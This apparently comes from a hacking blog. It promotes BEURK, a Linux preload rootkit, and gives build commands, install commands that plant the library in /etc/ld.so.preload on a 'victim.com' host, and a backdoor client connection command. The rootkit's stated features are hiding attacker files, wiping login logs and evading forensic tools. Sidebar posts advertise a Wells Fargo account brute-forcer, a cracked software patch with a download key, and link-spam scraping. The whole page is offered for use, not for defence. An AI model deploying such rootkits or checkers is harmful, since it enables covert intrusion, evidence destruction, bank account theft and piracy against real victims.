BEURK – Linux Userland Preload Rootkit

BEURK is an userland preload rootkit for GNU/Linux, heavily focused around anti-debugging and anti-detection.

BEURK - Linux Userland Preload Rootkit

Being a userland rootkit it gives limited privileges (whatever the user has basically) vs a superuser or root level rootkit.

Features

Hide attacker files and directories
Realtime log cleanup (on utmp/wtmp)
Anti process and login detection
Bypass unhide, lsof, ps, ldd, netstat analysis
Furtive PTY backdoor client



Usage

Compile


git clone https://github.com/unix-thrust/beurk.git
    cd beurk
    make
1
2
3
git clone https://github.com/unix-thrust/beurk.git
    cd beurk
    make
Install


scp libselinux.so root@victim.com:/lib/
    ssh root@victim.com 'echo /lib/libselinux.so >> /etc/ld.so.preload'
1
2
scp libselinux.so root@victim.com:/lib/
    ssh root@victim.com 'echo /lib/libselinux.so >> /etc/ld.so.preload'
Enjoy !


./client.py victim_ip:port # connect with furtive backdoor
1
./client.py victim_ip:port # connect with furtive backdoor
Dependencies

The following packages are not required in order to build BEURK at the moment:

libpcap – to avoid local sniffing
libpam – for local PAM backdoor
libssl – for encrypted backdoor connection
You can download BEURK here:

Comments

Post a Comment

Popular posts from this blog

[SEO ELITE] Find Unlimited Targets For GSA SER And Other Link Building Tools

Image
If you do this process for 30 minutes each day for 5 days you will end up with hundreds of thousands of new link targets. I’m talking about contextual, do-follow links too  ! Links bring traffic. Traffic brings sales. This guide describes how I make new link-lists for link building, as of February 2016. Here’s a tier two GSA-SER project I ran and the scraped target list is the result of a Footprint Factory analysis: I have just over 67,000 verified links from 22,000 unique domains. The reason this is so exciting is because the raw scrape list I’m running only had about 830,000 URLs in it. That means that about over 8% of the URLs I scraped during the making of this tutorial gave me verified back links. To put that in perspective, a lot of people only get about 1-2% with a raw list. So 8% is pretty amazing. That cuts your working time down by 75%, and it also means you only have to do this process a few times to build a very large database of powerful links you can use to rank your ...
Read more

wellsfargo brute/checker

+ Multithreading + Accepts proxy such as: Socks4 / 5 | Http / s + Special saving accounts with no balance + Intuitive design + There is a proxy checker service + Auto-update proxy link + Fast work software + Bypass accounts with the ban (sekretki) at the check in the balance + Results retains txt: Errors, Bad, Good, Null Balance, to check time Download
Read more

CheVolume - Easily Switch Output Sources - v0.4.1.2 - Cracked / Patched

UPDATED TO 0.4.1.2 ON 5/12/2016 Information on CheVolume can be found here: http://www.chevolume.com/ CheVolume is trialware, meaning that it has a limited time trial and then you must purchase a key to continue using it. Of course, I don't want to purchase a key for this, but it is an incredibly useful application. Call it a patch, crack, free license, whatever, I don't care, I'm going to call this a patch. Notes: This will give you an infinite trial. There is no difference between the trial version and the full version. The trial will increase in years as each year passes. Download Decrypt key !2U3nPSLj2Hlj8qfiUZw1csajedBkrq_rHMpoRJyTnUg
Read more